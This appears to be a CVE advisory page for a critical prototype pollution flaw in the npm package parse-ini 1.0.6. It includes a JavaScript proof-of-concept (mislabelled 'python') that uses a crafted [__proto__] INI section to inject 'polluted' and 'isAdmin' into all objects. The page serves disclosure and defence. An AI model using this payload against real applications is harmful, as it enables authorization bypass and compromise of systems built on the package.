CVE-2025-63703

Description

npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js().

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

parse-ini 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2025-63703: parse-ini Prototype Pollution
const { parse } = require('parse-ini');

// Malicious INI string targeting the prototype
const maliciousInput = `
[__proto__]
polluted = "vulnerable"
isAdmin = true
`;

console.log("Before Parsing:");
console.log("Polluted:", ({}).polluted);
console.log("IsAdmin:", ({}).isAdmin);

// Trigger the vulnerability
try {
  parse(maliciousInput);
  console.log("\nAfter Parsing:");
  console.log("Polluted:", ({}).polluted);
  console.log("IsAdmin:", ({}).isAdmin);

  if (({}).polluted === "vulnerable") {
    console.log("\n[!] Vulnerability Confirmed: Prototype Pollution successful.");
  }
} catch (e) {
  console.error(e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63703
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63703
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63703/
[4] VulDB https://vuldb.com/cve/CVE-2025-63703
[5] https://gist.github.com/6en6ar/bdc8e0d472406ab98431f10273cbdbf3
[6] https://www.npmjs.com/package/parse-ini?activeTab=code

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63703", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:17.590", "lastModified": "2026-05-08T23:16:33.447", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "npm package parse-ini v1.0.6 is vulnerable to Prototype Pollution in index.js()."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://gist.github.com/6en6ar/bdc8e0d472406ab98431f10273cbdbf3", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/parse-ini?activeTab=code", "source": "[email protected]"}]}}